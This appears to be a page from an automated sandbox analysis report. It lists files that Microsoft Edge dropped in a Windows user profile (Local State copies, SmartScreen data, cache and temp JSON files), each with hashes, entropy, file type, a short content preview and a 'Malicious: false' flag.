SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF404de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b0af.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50f1a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.027439856261809
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXLFddy:YWLSGTt1o9LuLgfGBPAzkVj/T8l7dy
MD5:	63BAAA1E29D53071812F83BB09B59AB2
SHA1:	20AD2D6464ACC509E514E04BC8BEC1BC9F389BC6
SHA-256:	B8E107C4E342D4D451C7B9F5AB12F709F9D52F03EE4D4A3C914675BC84AB6B55
SHA-512:	9BD748D26DFC4DA60AEF667C771A91B179B4DB0FDC6FF208E95C0C2FE395F908DF7D018781D702551065E84887EDB49D253599A34C6F71A72A33AE0786C40D72
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732427733956088}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a04cd674-4d48-4792-886a-676451bcfbc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755103804054
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWqdi1zNtPMlkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynWSkzItSmd6qE7lFoC
MD5:	05299470B8FDFAC6C1573E130807515F
SHA1:	4901BC8C66B2A8902E415C4C5071C605C4436263
SHA-256:	803020E3AE5E80535A8F22B23FEAB67F1B8A8B42959622137E95EE47512C0603
SHA-512:	B591FADF9822D8E7D4CA18FC1D479EFCD38B2B0F9E7783EA9099CF6EBB863A17CC5A728663B7352638D012256F93A5160F6DDE1C3EAF43DF7061081D7FA4C3FB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a7b2f201-9762-4374-b482-313abee8a46b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.09480559272161
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW4oi1zNtglF2NcVoeGnKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynir2nKtSmd6qE7lFoC
MD5:	DCE2289C6A079357A8D2FDA33A00953B
SHA1:	FEB80CD769180F2DFB3634949FFF0C25798C5EFC
SHA-256:	0D469A6BE18FCB23BDCED60BBC935F90E44C146E2408824D77CE458CBFB77547
SHA-512:	10DA5C16BF496F3C781B28636A97706A09C0F11DD92E84A47F0E617FF5270BF308BEF7799E7081A588EBFFBB3C4D8B328991D46F996B5DE2E6C2EFB3FF987E1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXS